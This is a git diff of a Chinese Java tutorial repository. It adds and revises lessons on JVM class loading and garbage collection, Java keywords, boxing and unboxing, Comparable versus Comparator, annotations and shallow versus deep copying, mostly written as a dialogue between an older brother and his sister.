+如果经历过第一次 Minor GC 仍然存活且能被 Survivor 容纳,该对象就会被移动到 Survivor 中并将年龄设置为 1,并且每熬过一次 Minor GC 年龄就加 1 ,当增加到一定程度(默认15)就会被晋升到老年代。
+
+如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 的一半,年龄不小于该年龄的对象就可以直接进入老年代。
+
+MinorGC 前,虚拟机必须检查老年代最大可用连续空间是否大于新生代对象总空间,如果满足则说明这次 Minor GC 确定安全。如果不,JVM会查看HandlePromotionFailure 参数是否允许担保失败,如果允许会继续检查老年代最大可用连续空间是否大于历次晋升老年代对象的平均大小,如果满足将Minor GC,否则改成一次 FullGC。
+
+### 简述JVM类加载过程
+1)加载:
+
+- 通过全类名获取类的二进制字节流。
+- 将类的静态存储结构转化为方法区的运行时数据结构。
+- 在内存中生成类的Class对象,作为方法区数据的入口。
+
+2)验证:对文件格式,元数据,字节码,符号引用等验证正确性。
+
+3)准备:在方法区内为类变量分配内存并设置为0值。
+
+4)解析:将符号引用转化为直接引用。
+
+5)初始化:执行类构造器clinit方法,真正初始化。
+
+### 简述JVM中的类加载器
+- BootstrapClassLoader启动类加载器:加载/lib下的jar包和类。 由C++编写。
+- ExtensionClassLoader扩展类加载器: /lib/ext目录下的jar包和类。由Java编写。
+- AppClassLoader应用类加载器,加载当前classPath下的jar包和类。由Java编写。
+
+### 简述双亲委派机制
+一个类加载器收到类加载请求之后,首先判断当前类是否被加载过。已经被加载的类会直接返回,如果没有被加载,首先将类加载请求转发给父类加载器,一直转发到启动类加载器,只有当父类加载器无法完成时才尝试自己加载。
+
+加载类顺序:BootstrapClassLoader->ExtensionClassLoader->AppClassLoader->CustomClassLoader 检查类是否加载顺序: CustomClassLoader->AppClassLoader->ExtensionClassLoader->BootstrapClassLoader
+
+### 双亲委派机制的优点
+- 避免类的重复加载。相同的类被不同的类加载器加载会产生不同的类,双亲委派保证了Java程序的稳定运行。
+- 保证核心API不被修改。
+- 如何破坏双亲委派机制
+- 重载loadClass()方法,即自定义类加载器。
+
+### 如何构建自定义类加载器
+新建自定义类继承自java.lang.ClassLoader,重写findClass、loadClass、defineClass方法
+
+### JVM常见调优参数
+
+- -Xms 初始堆大小
+- -Xmx 最大堆大小
+- -XX:NewSize 年轻代大小
+- -XX:MaxNewSize 年轻代最大值
+- -XX:PermSize 永生代初始值
+- -XX:MaxPermSize 永生代最大值
+- -XX:NewRatio 新生代与老年代的比例
+
+----
+
+
+作者:后端技术小牛说
+链接:https://mp.weixin.qq.com/s/2cLVDLcOQTdV4BGAv1XEuw
diff --git a/docs/basic-extra-meal/48-keywords.md b/docs/basic-extra-meal/48-keywords.md
new file mode 100644
index 0000000000..170e3ab9f0
--- /dev/null
+++ b/docs/basic-extra-meal/48-keywords.md
@@ -0,0 +1,106 @@
+“二哥,就我之前学过的这些 Java 代码中,有 public、static、void、main 等等,它们应该都是关键字吧?”三妹的脸上泛着甜甜的笑容,我想她在学习 Java 方面已经变得越来越自信了。
+
+“是的,三妹。Java 中的关键字可不少呢!你一下子可能记不了那么多,不过,先保留个印象吧,对以后的学习会很有帮助。”
+
+PS:按照首字母的自然顺序排列。
+
+1. **abstract:** 用于声明抽象类,以及抽象方法。
+
+2. **boolean:** 用于将变量声明为布尔值类型,只有 true 和 false 两个值。
+
+3. **break:** 用于中断循环或 switch 语句。
+
+4. **byte:** 用于声明一个可以容纳 8 个比特的变量。
+
+5. **case:** 用于在 switch 语句中标记条件的值。
+
+6. **catch:** 用于捕获 try 语句中的异常。
+
+7. **char:** 用于声明一个可以容纳无符号 16 位比特的 [Unicode 字符](https://mp.weixin.qq.com/s/pNQjlXOivIgO3pbYc0GnpA)的变量。
+
+8. **class:** 用于声明一个类。
+
+9. **continue:** 用于继续下一个循环,可以在指定条件下跳过其余代码。
+
+10. **default:** 用于指定 switch 语句中除去 case 条件之外的默认代码块。
+
+11. **do:** 通常和 while 关键字配合使用,do 后紧跟循环体。
+
+12. **double:** 用于声明一个可以容纳 64 位浮点数的变量。
+
+13. **else:** 用于指示 if 语句中的备用分支。
+
+14. **enum:** 用于定义一组固定的常量(枚举)。
+
+15. **extends:** 用于指示一个类是从另一个类或接口继承的。
+
+16. **final:** 用于指示该变量是不可更改的。
+
+17. **finally:** 和 `try-catch` 配合使用,表示无论是否处理异常,总是执行 finally 块中的代码。
+
+18. **float:** 用于声明一个可以容纳 32 位浮点数的变量。
+
+19. **for:** 用于声明一个 for 循环,如果循环次数是固定的,建议使用 for 循环。
+
+20. **if:** 用于指定条件,如果条件为真,则执行对应代码。
+
+21. **implements:** 用于实现接口。
+
+22. **import:** 用于导入对应的类或者接口。
+
+23. **instanceof:** 用于判断对象是否属于某个类型(class)。
+
+24. **int:** 用于声明一个可以容纳 32 位带符号的整数变量。
+
+25. **interface:** 用于声明接口。
+
+26. **long:** 用于声明一个可以容纳 64 位整数的变量。
+
+27. **native:** 用于指定一个方法是通过调用本机接口(非 Java)实现的。
+
+28. **new:** 用于创建一个新的对象。
+
+29. **null:** 如果一个变量是空的(什么引用也没有指向),就可以将它赋值为 null,和空指针异常息息相关。
+
+30. **package:** 用于声明类所在的包。
+
+31. **private:** 一个访问权限修饰符,表示方法或变量只对当前类可见。
+
+32. **protected:** 一个访问权限修饰符,表示方法或变量对同一包内的类和所有子类可见。
+
+33. **public:** 一个访问权限修饰符,除了可以声明方法和变量(所有类可见),还可以声明类。`main()` 方法必须声明为 public。
+
+34. **return:** 用于在代码执行完成后返回(一个值)。
+
+35. **short:** 用于声明一个可以容纳 16 位整数的变量。
+
+36. **static:** 表示该变量或方法是静态变量或静态方法。
+
+37. **strictfp:** 并不常见,通常用于修饰一个方法,确保方法体内的浮点数运算在每个平台上执行的结果相同。
+
+38. **super:** 可用于调用父类的方法或者字段。
+
+39. **switch:** 通常用于三个(以上)的条件判断。
+
+40. **synchronized:** 用于指定多线程代码中的同步方法、变量或者代码块。
+
+41. **this:** 可用于在方法或构造函数中引用当前对象。
+
+42. **throw:** 主动抛出异常。
+
+43. **throws:** 用于声明异常。
+
+44. **transient:** 修饰的字段不会被序列化。
+
+45. **try:** 于包裹要捕获异常的代码块。
+
+46. **void:** 用于指定方法没有返回值。
+
+47. **volatile:** 保证不同线程对它修饰的变量进行操作时的可见性,即一个线程修改了某个变量的值,新值对其他线程来说是立即可见的。
+
+48. **while:** 如果循环次数不固定,建议使用 while 循环。
+
+
+“好了,三妹,关于 Java 中的关键字就先说这 48 个吧,这只是一个大概的介绍,后面还会对一些特殊的关键字单独拎出来详细地讲,比如说重要的 static、final 等。”转动了一下僵硬的脖子后,我对三妹说。
+
+“二哥,你辛苦了,足足 48 个啊,容我好好消化一下。”
\ No newline at end of file
diff --git a/docs/src/basic-extra-meal/annotation.md b/docs/basic-extra-meal/annotation.md
similarity index 83%
rename from docs/src/basic-extra-meal/annotation.md
rename to docs/basic-extra-meal/annotation.md
index 829a06f6d1..822c46b7b6 100644
--- a/docs/src/basic-extra-meal/annotation.md
+++ b/docs/basic-extra-meal/annotation.md
@@ -1,24 +1,10 @@
----
-title: Java注解,请别小看我。
-shortTitle: Java注解
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 本文深入探讨了Java注解的概念、分类及其在实际项目中的应用。通过详细的示例和解释,帮助读者更好地理解和掌握Java注解技术,学会如何自定义注解以及在实际开发中灵活运用,提升代码的可读性和可维护性。
-head:
- - - meta
- - name: keywords
- content: Java,注解,annotation,java 注解,java annotation
----
-
“二哥,这节讲注解吗?”三妹问。
-“是的。”我说,“注解是 Java 中非常重要的一部分,但经常被忽视也是真的。之所以这么说是因为我们更倾向成为一名注解的使用者而不是创建者。`@Override` 注解用过吧?[方法重写](https://javabetter.cn/basic-extra-meal/override-overload.html)的时候用到过。但你知道怎么自定义一个注解吗?”
+“是的。”我说,“注解是 Java 中非常重要的一部分,但经常被忽视也是真的。之所以这么说是因为我们更倾向成为一名注解的使用者而不是创建者。`@Override` 注解用过吧?但你知道怎么自定义一个注解吗?”
三妹毫不犹豫地摇摇头,摆摆手,不好意思地承认自己的确没有自定义过。
-
+
“好吧,哥来告诉你吧。”
@@ -37,7 +23,7 @@ public class AutowiredTest {
}
```
-注意到 `@Autowired` 这个注解了吧?它本来是为 Spring(后面会讲)容器注入 Bean 的,现在被我无情地扔在了字段 name 的身上,但这段代码所在的项目中并没有启用 Spring,意味着 `@Autowired` 注解此时只是一个摆设。
+注意到 `@Autowired` 这个注解了吧?它本来是为 Spring 容器注入 Bean 的,现在被我无情地扔在了字段 name 的身上,但这段代码所在的项目中并没有启用 Spring,意味着 `@Autowired` 注解此时只是一个摆设。
“既然只是个摆设,那你这个地方为什么还要用 `@Autowired` 呢?”三妹好奇地问。
@@ -230,11 +216,8 @@ public class JsonFieldTest {
“嗯,你好好复习下,我看会《编译原理》。”说完我拿起桌子边上的一本书就走了。
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
+-----
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
-
+
\ No newline at end of file
diff --git a/docs/basic-extra-meal/box.md b/docs/basic-extra-meal/box.md
new file mode 100644
index 0000000000..058f04b37f
--- /dev/null
+++ b/docs/basic-extra-meal/box.md
@@ -0,0 +1,253 @@
+
+
+“哥,听说 Java 的每个基本类型都对应了一个包装类型,比如说 int 的包装类型为 Integer,double 的包装类型为 Double,是这样吗?”从三妹这句话当中,能听得出来,她已经提前预习这块内容了。
+
+“是的,三妹。基本类型和包装类型的区别主要有以下 4 点,我来带你学习一下。”我回答说。我们家的斜对面刚好是一所小学,所以时不时还能听到朗朗的读书声,让人心情非常愉快。
+
+“三妹,你准备好了吗?我们开始吧。”
+
+“第一,**包装类型可以为 null,而基本类型不可以**。别小看这一点区别,它使得包装类型可以应用于 POJO 中,而基本类型则不行。”
+
+“POJO 是什么呢?”遇到不会的就问,三妹在这一点上还是非常兢兢业业的。
+
+“POJO 的英文全称是 Plain Ordinary Java Object,翻译一下就是,简单无规则的 Java 对象,只有字段以及对应的 setter 和 getter 方法。”
+
+```java
+class Writer {
+ private Integer age;
+ private String name;
+
+ public Integer getAge() {
+ return age;
+ }
+
+ public void setAge(Integer age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
+```
+
+和 POJO 类似的,还有数据传输对象 DTO(Data Transfer Object,泛指用于展示层与服务层之间的数据传输对象)、视图对象 VO(View Object,把某个页面的数据封装起来)、持久化对象 PO(Persistant Object,可以看成是与数据库中的表映射的 Java 对象)。
+
+“那为什么 POJO 的字段必须要用包装类型呢?”三妹问。
+
+“《阿里巴巴 Java 开发手册》上有详细的说明,你看。”我打开 PDF,并翻到了对应的内容,指着屏幕念道。
+
+>数据库的查询结果可能是 null,如果使用基本类型的话,因为要自动拆箱,就会抛出 NullPointerException 的异常。
+
+“什么是自动拆箱呢?”
+
+“自动拆箱指的是,将包装类型转为基本类型,比如说把 Integer 对象转换成 int 值;对应的,把基本类型转为包装类型,则称为自动装箱。”
+
+“哦。”
+
+“那接下来,我们来看第二点不同。**包装类型可用于泛型,而基本类型不可以**,否则就会出现编译错误。”一边说着,我一边在 Intellij IDEA 中噼里啪啦地敲了起来。
+
+“三妹,你瞧,编译器提示错误了。”
+
+```java
+List list = new ArrayList<>(); // 提示 Syntax error, insert "Dimensions" to complete ReferenceType
+List list = new ArrayList<>();
+```
+
+“为什么呢?”三妹及时地问道。
+
+“因为泛型在编译时会进行类型擦除,最后只保留原始类型,而原始类型只能是 Object 类及其子类——基本类型是个例外。”
+
+“那,接下来,我们来说第三点,**基本类型比包装类型更高效**。”我喝了一口茶继续说道。
+
+“作为局部变量时,基本类型在栈中直接存储的具体数值,而包装类型则存储的是堆中的引用。”我一边说着,一边打开 `draw.io` 画起了图。
+
+
+
+很显然,相比较于基本类型而言,包装类型需要占用更多的内存空间,不仅要存储对象,还要存储引用。假如没有基本类型的话,对于数值这类经常使用到的数据来说,每次都要通过 new 一个包装类型就显得非常笨重。
+
+“三妹,你想知道程序运行时,数据都存储在什么地方吗?”
+
+“嗯嗯,哥,你说说呗。”
+
+“通常来说,有 4 个地方可以用来存储数据。”
+
+1)寄存器。这是最快的存储区,因为它位于 CPU 内部,用来暂时存放参与运算的数据和运算结果。
+
+2)栈。位于 RAM(Random Access Memory,也叫主存,与 CPU 直接交换数据的内部存储器)中,速度仅次于寄存器。但是,在分配内存的时候,存放在栈中的数据大小与生存周期必须在编译时是确定的,缺乏灵活性。基本数据类型的值和对象的引用通常存储在这块区域。
+
+3)堆。也位于 RAM 区,可以动态分配内存大小,编译器不必知道要从堆里分配多少存储空间,生存周期也不必事先告诉编译器,Java 的垃圾收集器会自动收走不再使用的数据,因此可以得到更大的灵活性。但是,运行时动态分配内存和销毁对象都需要占用时间,所以效率比栈低一些。new 创建的对象都会存储在这块区域。
+
+4)磁盘。如果数据完全存储在程序之外,就可以不受程序的限制,在程序没有运行时也可以存在。像文件、数据库,就是通过持久化的方式,让对象存放在磁盘上。当需要的时候,再反序列化成程序可以识别的对象。
+
+“能明白吗?三妹?”
+
+“这节讲完后,我再好好消化一下。”
+
+“那好,我们来说第四点,**两个包装类型的值可以相同,但却不相等**。”
+
+```java
+Integer chenmo = new Integer(10);
+Integer wanger = new Integer(10);
+
+System.out.println(chenmo == wanger); // false
+System.out.println(chenmo.equals(wanger )); // true
+```
+
+“两个包装类型在使用“==”进行判断的时候,判断的是其指向的地址是否相等,由于是两个对象,所以地址是不同的。”
+
+“而 chenmo.equals(wanger) 的输出结果为 true,是因为 equals() 方法内部比较的是两个 int 值是否相等。”
+
+```java
+private final int value;
+
+public int intValue() {
+ return value;
+}
+public boolean equals(Object obj) {
+ if (obj instanceof Integer) {
+ return value == ((Integer)obj).intValue();
+ }
+ return false;
+}
+```
+
+虽然 chenmo 和 wanger 的值都是 10,但他们并不相等。换句话说就是:将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符。
+
+“三妹,瞧,`((Integer)obj).intValue()` 这段代码就是用来自动拆箱的。下面,我们来详细地说一说自动装箱和自动拆箱。”
+
+既然有基本类型和包装类型,肯定有些时候要在它们之间进行转换。把基本类型转换成包装类型的过程叫做装箱(boxing)。反之,把包装类型转换成基本类型的过程叫做拆箱(unboxing)。
+
+在 Java 1.5 之前,开发人员要手动进行装拆箱,比如说:
+
+```java
+Integer chenmo = new Integer(10); // 手动装箱
+int wanger = chenmo.intValue(); // 手动拆箱
+```
+
+Java 1.5 为了减少开发人员的工作,提供了自动装箱与自动拆箱的功能。这下就方便了。
+
+```jav
+Integer chenmo = 10; // 自动装箱
+int wanger = chenmo; // 自动拆箱
+```
+
+来看一下反编译后的代码。
+
+```java
+Integer chenmo = Integer.valueOf(10);
+int wanger = chenmo.intValue();
+```
+
+也就是说,自动装箱是通过 `Integer.valueOf()` 完成的;自动拆箱是通过 `Integer.intValue()` 完成的。
+
+“嗯,三妹,给你出一道面试题吧。”
+
+```java
+// 1)基本类型和包装类型
+int a = 100;
+Integer b = 100;
+System.out.println(a == b);
+
+// 2)两个包装类型
+Integer c = 100;
+Integer d = 100;
+System.out.println(c == d);
+
+// 3)
+c = 200;
+d = 200;
+System.out.println(c == d);
+```
+
+“给你 3 分钟时间,你先思考下,我去抽根华子,等我回来,然后再来分析一下为什么。”
+
+。。。。。。
+
+“嗯,哥,你过来吧,我说一说我的想法。”
+
+第一段代码,基本类型和包装类型进行 == 比较,这时候 b 会自动拆箱,直接和 a 比较值,所以结果为 true。
+
+第二段代码,两个包装类型都被赋值为了 100,这时候会进行自动装箱,按照你之前说的,将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符,我想结果可能为 false。
+
+第三段代码,两个包装类型重新被赋值为了 200,这时候仍然会进行自动装箱,我想结果仍然为 false。
+
+“嗯嗯,三妹,你分析的很有逻辑,但第二段代码的结果为 true,是不是感到很奇怪?”
+
+“为什么会这样呀?”三妹急切地问。
+
+“你说的没错,自动装箱是通过 Integer.valueOf() 完成的,我们来看看这个方法的源码就明白为什么了。”
+
+```java
+public static Integer valueOf(int i) {
+ if (i >= IntegerCache.low && i <= IntegerCache.high)
+ return IntegerCache.cache[i + (-IntegerCache.low)];
+ return new Integer(i);
+}
+```
+
+是不是看到了一个之前从来没见过的类——IntegerCache?
+
+“难道说是 Integer 的缓存类?”三妹做出了自己的判断。
+
+“是的,来看一下 IntegerCache 的源码吧。”
+
+```java
+private static class IntegerCache {
+ static final int low = -128;
+ static final int high;
+ static final Integer cache[];
+
+ static {
+ // high value may be configured by property
+ int h = 127;
+ int i = parseInt(integerCacheHighPropValue);
+ i = Math.max(i, 127);
+ h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
+ high = h;
+
+ cache = new Integer[(high - low) + 1];
+ int j = low;
+ for(int k = 0; k < cache.length; k++)
+ cache[k] = new Integer(j++);
+
+ // range [-128, 127] must be interned (JLS7 5.1.7)
+ assert IntegerCache.high >= 127;
+ }
+}
+```
+
+大致瞟一下这段代码你就全明白了。-128 到 127 之间的数会从 IntegerCache 中取,然后比较,所以第二段代码(100 在这个范围之内)的结果是 true,而第三段代码(200 不在这个范围之内,所以 new 出来了两个 Integer 对象)的结果是 false。
+
+“三妹,看完上面的分析之后,我希望你记住一点:**当需要进行自动装箱时,如果数字在 -128 至 127 之间时,会直接使用缓存中的对象,而不是重新创建一个对象**。”
+
+“自动装拆箱是一个很好的功能,大大节省了我们开发人员的精力,但也会引发一些麻烦,比如下面这段代码,性能就很差。”
+
+```java
+long t1 = System.currentTimeMillis();
+Long sum = 0L;
+for (int i = 0; i < Integer.MAX_VALUE;i++) {
+ sum += i;
+}
+long t2 = System.currentTimeMillis();
+System.out.println(t2-t1);
+```
+
+“知道为什么吗?三妹。”
+
+“难道是因为 sum 被声明成了包装类型 Long 而不是基本类型 long。”三妹若有所思。
+
+“是滴,由于 sum 是个 Long 型,而 i 为 int 类型,`sum += i` 在执行的时候,会先把 i 强转为 long 型,然后再把 sum 拆箱为 long 型进行相加操作,之后再自动装箱为 Long 型赋值给 sum。”
+
+“三妹,你可以试一下,把 sum 换成 long 型比较一下它们运行的时间。”
+
+。。。。。。
+
+“哇,sum 为 Long 型的时候,足足运行了 5825 毫秒;sum 为 long 型的时候,只需要 679 毫秒。”
+
+“好了,三妹,今天的主题就先讲到这吧。我再去来根华子。”
+
diff --git a/docs/basic-extra-meal/comparable-omparator.md b/docs/basic-extra-meal/comparable-omparator.md
new file mode 100644
index 0000000000..31849b873e
--- /dev/null
+++ b/docs/basic-extra-meal/comparable-omparator.md
@@ -0,0 +1,168 @@
+
+
+那天,小二去马蜂窝面试,面试官老王一上来就甩给了他一道面试题:请问Comparable和Comparator有什么区别?小二差点笑出声,因为三年前,也就是 2021 年,他在《Java 程序员进阶之路》专栏上看到过这题😆。
+
+*PS:星标这种事,只能求,不求没效果,come on。《Java 程序员进阶之路》在 GitHub 上已经收获了 565 枚星标,小伙伴们赶紧去点点了,冲 600*!
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+Comparable 和 Comparator 是 Java 的两个接口,从名字上我们就能够读出来它们俩的相似性:以某种方式来比较两个对象。但它们之间到底有什么区别呢?请随我来,打怪进阶喽!
+
+### 01、Comparable
+
+Comparable 接口的定义非常简单,源码如下所示。
+
+```java
+public interface Comparable {
+ int compareTo(T t);
+}
+```
+
+如果一个类实现了 Comparable 接口(只需要干一件事,重写 `compareTo()` 方法),就可以按照自己制定的规则将由它创建的对象进行比较。下面给出一个例子。
+
+```java
+public class Cmower implements Comparable {
+ private int age;
+ private String name;
+
+ public Cmower(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ @Override
+ public int compareTo(Cmower o) {
+ return this.getAge() - o.getAge();
+ }
+
+ public static void main(String[] args) {
+ Cmower wanger = new Cmower(19,"沉默王二");
+ Cmower wangsan = new Cmower(16,"沉默王三");
+
+ if (wanger.compareTo(wangsan) < 0) {
+ System.out.println(wanger.getName() + "比较年轻有为");
+ } else {
+ System.out.println(wangsan.getName() + "比较年轻有为");
+ }
+ }
+}
+```
+
+在上面的示例中,我创建了一个 Cmower 类,它有两个字段:age 和 name。Cmower 类实现了 Comparable 接口,并重写了 `compareTo()` 方法。
+
+
+程序输出的结果是“沉默王三比较年轻有为”,因为他比沉默王二小三岁。这个结果有什么凭证吗?
+
+凭证就在于 `compareTo()` 方法,该方法的返回值可能为负数,零或者正数,代表的意思是该对象按照排序的规则小于、等于或者大于要比较的对象。如果指定对象的类型与此对象不能进行比较,则引发 `ClassCastException` 异常(自从有了泛型,这种情况就少有发生了)。
+
+### 02、Comparator
+
+Comparator 接口的定义相比较于 Comparable 就复杂的多了,不过,核心的方法只有两个,来看一下源码。
+
+```java
+public interface Comparator {
+ int compare(T o1, T o2);
+ boolean equals(Object obj);
+}
+```
+
+第一个方法 `compare(T o1, T o2)` 的返回值可能为负数,零或者正数,代表的意思是第一个对象小于、等于或者大于第二个对象。
+
+第二个方法 `equals(Object obj)` 需要传入一个 Object 作为参数,并判断该 Object 是否和 Comparator 保持一致。
+
+有时候,我们想让类保持它的原貌,不想主动实现 Comparable 接口,但我们又需要它们之间进行比较,该怎么办呢?
+
+Comparator 就派上用场了,来看一下示例。
+
+1)原封不动的 Cmower 类。
+
+```java
+public class Cmower {
+ private int age;
+ private String name;
+
+ public Cmower(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+}
+```
+
+(说好原封不动,getter/setter 吃了啊)
+
+Cmower 类有两个字段:age 和 name,意味着该类可以按照 age 或者 name 进行排序。
+
+2)再来看 Comparator 接口的实现类。
+
+```java
+public class CmowerComparator implements Comparator {
+ @Override
+ public int compare(Cmower o1, Cmower o2) {
+ return o1.getAge() - o2.getAge();
+ }
+}
+```
+
+按照 age 进行比较。当然也可以再实现一个比较器,按照 name 进行自然排序,示例如下。
+
+```java
+public class CmowerNameComparator implements Comparator {
+ @Override
+ public int compare(Cmower o1, Cmower o2) {
+ if (o1.getName().hashCode() < o2.getName().hashCode()) {
+ return -1;
+ } else if (o1.getName().hashCode() == o2.getName().hashCode()) {
+ return 0;
+ }
+ return 1;
+ }
+}
+```
+
+3)再来看测试类。
+
+```java
+Cmower wanger = new Cmower(19,"沉默王二");
+Cmower wangsan = new Cmower(16,"沉默王三");
+Cmower wangyi = new Cmower(28,"沉默王一");
+
+List list = new ArrayList<>();
+list.add(wanger);
+list.add(wangsan);
+list.add(wangyi);
+
+list.sort(new CmowerComparator());
+
+for (Cmower c : list) {
+ System.out.println(c.getName());
+}
+```
+
+创建了三个对象,age 不同,name 不同,并把它们加入到了 List 当中。然后使用 List 的 `sort()` 方法进行排序,来看一下输出的结果。
+
+```
+沉默王三
+沉默王二
+沉默王一
+```
+
+这意味着沉默王三的年纪比沉默王二小,排在第一位;沉默王一的年纪比沉默王二大,排在第三位。和我们的预期完全符合。
+
+### 03、到底该用哪一个呢?
+
+通过上面的两个例子可以比较出 Comparable 和 Comparator 两者之间的区别:
+
+- 一个类实现了 Comparable 接口,意味着该类的对象可以直接进行比较(排序),但比较(排序)的方式只有一种,很单一。
+- 一个类如果想要保持原样,又需要进行不同方式的比较(排序),就可以定制比较器(实现 Comparator 接口)。
+- Comparable 接口在 `java.lang` 包下,而 `Comparator` 接口在 `java.util` 包下,算不上是亲兄弟,但可以称得上是表(堂)兄弟。
+
+举个不恰当的例子。我想从洛阳出发去北京看长城,体验一下好汉的感觉,要么坐飞机,要么坐高铁;但如果是孙悟空的话,翻个筋斗就到了。我和孙悟空之间有什么区别呢?孙悟空自己实现了 Comparable 接口(他那年代也没有飞机和高铁,没得选),而我可以借助 Comparator 接口(现代化的交通工具)。
+
+
+
+
+
+------
+
+
+好了,关于 Comparable 和 Comparator 我们就先聊这么多。总而言之,如果对象的排序需要基于自然顺序,请选择 `Comparable`,如果需要按照对象的不同属性进行排序,请选择 `Comparator`。
\ No newline at end of file
diff --git a/docs/src/basic-extra-meal/deep-copy.md b/docs/basic-extra-meal/deep-copy.md
similarity index 83%
rename from docs/src/basic-extra-meal/deep-copy.md
rename to docs/basic-extra-meal/deep-copy.md
index f5e662fa53..5013062a70 100644
--- a/docs/src/basic-extra-meal/deep-copy.md
+++ b/docs/basic-extra-meal/deep-copy.md
@@ -1,31 +1,17 @@
----
-title: 深入理解Java浅拷贝与深拷贝
-shortTitle: 深入理解Java浅拷贝与深拷贝
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 本文详细讨论了Java中的浅拷贝和深拷贝概念,解析了它们如何在实际编程中应用。文章通过实例演示了如何实现浅拷贝与深拷贝,以帮助读者更好地理解这两种拷贝方式在Java编程中的作用与应用场景。
-author: 沉默王二
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,深拷贝,浅拷贝
----
+
“哥,听说浅拷贝和深拷贝是 Java 面试中经常会被问到的一个问题,是这样吗?”
-“还真的是,而且了解浅拷贝和深拷贝的原理,对 [Java 是值传递还是引用传递](https://javabetter.cn/basic-extra-meal/pass-by-value.html)也会有更深的理解。”我肯定地回答。
+“还真的是,而且了解浅拷贝和深拷贝的原理,对 Java 是值传递还是引用传递也会有更深的理解。”我肯定地回答。
“不管是浅拷贝还是深拷贝,都可以通过调用 Object 类的 `clone()` 方法来完成。”我一边说,一边打开 Intellij IDEA,并找到了 `clone()` 方法的源码。
```java
+@HotSpotIntrinsicCandidate
protected native Object clone() throws CloneNotSupportedException;
```
-需要注意的是,`clone()` 方法同时是一个本地(`native`)方法,它的具体实现会交给 HotSpot 虚拟机,那就意味着虚拟机在运行该方法的时候,会将其替换为更高效的 C/C++ 代码,进而调用操作系统去完成对象的克隆工作。
-
->Java 9 后,该方法会被标注 `@HotSpotIntrinsicCandidate` 注解,被该注解标注的方法,在 HotSpot 虚拟机中会有一套高效的实现。
+其中 `@HotSpotIntrinsicCandidate` 是 Java 9 引入的一个注解,被它标注的方法,在 HotSpot 虚拟机中会有一套高效的实现。需要注意的是,`clone()` 方法同时是一个本地(`native`)方法,它的具体实现会交给 HotSpot 虚拟机,那就意味着虚拟机在运行该方法的时候,会将其替换为更高效的 C/C++ 代码,进而调用操作系统去完成对象的克隆工作。
“哥,那你就先说浅拷贝吧!”
@@ -45,12 +31,21 @@ class Writer implements Cloneable{
", name='" + name + '\'' +
'}';
}
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
}
```
-Writer 类有两个字段,分别是 int 类型的 age,和 String 类型的 name。然后重写了 `toString()` 方法,方便打印对象的具体信息。
+Writer 类有两个字段,分别是 int 类型的 age,和 String 类型的 name。然后重写了 `toString()` 方法,方便打印对象的具体信息。并且重写了 `clone()` 方法,方法体里面也很简单,直接调用 Object 类的 `clone()` 方法。
+
+“既然 Writer 类的 `clone()` 方法体里只有一行代码,调用的还是超类 Object 的 `clone()` 方法?为什么还要重写呢?不是多此一举吗?”三妹着急地问。
-“为什么要实现 Cloneable 接口呢?”三妹开启了十万个为什么的模式。
+“嗯,是这样的,三妹。Object 类中的 `clone()` 方法是 protected 的,如果 Writer 类不去重写的话,Writer 类的对象是无法调用 `clone()` 方法的,因为 protected 修饰的方法对子类并不可见。”
+
+“哦哦,那为什么要实现 Cloneable 接口呢?”三妹开启了十万个为什么的模式。
Cloneable 接口是一个标记接口,它肚子里面是空的:
@@ -109,7 +104,7 @@ writer2:Writer@b97c004{age=18, name='三妹'}
可以看得出,浅拷贝后,writer1 和 writer2 引用了不同的对象,但值是相同的,说明拷贝成功。之后,修改了 writer2 的 name 字段,直接上图就明白了。
-
+
之前的例子中,Writer 类只有两个字段,没有引用类型字段。那么,我们再来看另外一个例子,为 Writer 类增加一个自定义的引用类型字段 Book,先来看 Book 的定义。
@@ -208,7 +203,7 @@ writer2:Writer@36d4b5c age=18, name='二哥', book=Book@32e6e9c3 bookName='永
与之前例子不同的是,writer2.book 变更后,writer1.book 也发生了改变。这是因为字符串 String 是不可变对象,一个新的值必须在字符串常量池中开辟一段新的内存空间,而自定义对象的内存地址并没有发生改变,只是对应的字段值发生了改变,见下图。
-
+
“哇,哥,果真一图胜千言,我明白了。”三妹似乎对我画的图很感兴趣呢,“那你继续说深拷贝吧!”
@@ -309,15 +304,15 @@ writer2:Writer@6d00a15d age=18, name='二哥', book=Book@51efea79 bookName='
不只是 writer1 和 writer2 是不同的对象,它们中的 book 也是不同的对象。所以,改变了 writer2 中的 book 并不会影响到 writer1。
-
+
不过,通过 `clone()` 方法实现的深拷贝比较笨重,因为要将所有的引用类型都重写 `clone()` 方法,当嵌套的对象比较多的时候,就废了!
“那有没有好的办法呢?”三妹急切的问。
-“当然有了,利用[序列化](https://javabetter.cn/io/serialize.html)。”我胸有成竹的回答,“序列化是将对象写到流中便于传输,而反序列化则是将对象从流中读取出来。”
+“当然有了,利用序列化。”我胸有成竹的回答,“序列化是将对象写到流中便于传输,而反序列化则是将对象从流中读取出来。”
-“写入流中的对象就是对原始对象的拷贝。需要注意的是,每个要序列化的类都要实现 [Serializable 接口](https://javabetter.cn/io/Serializbale.html),该接口和 Cloneable 接口类似,都是标记型接口。”
